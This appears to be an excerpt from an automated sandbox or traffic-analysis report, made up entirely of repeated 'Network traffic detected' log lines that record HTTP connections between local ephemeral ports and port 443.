Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
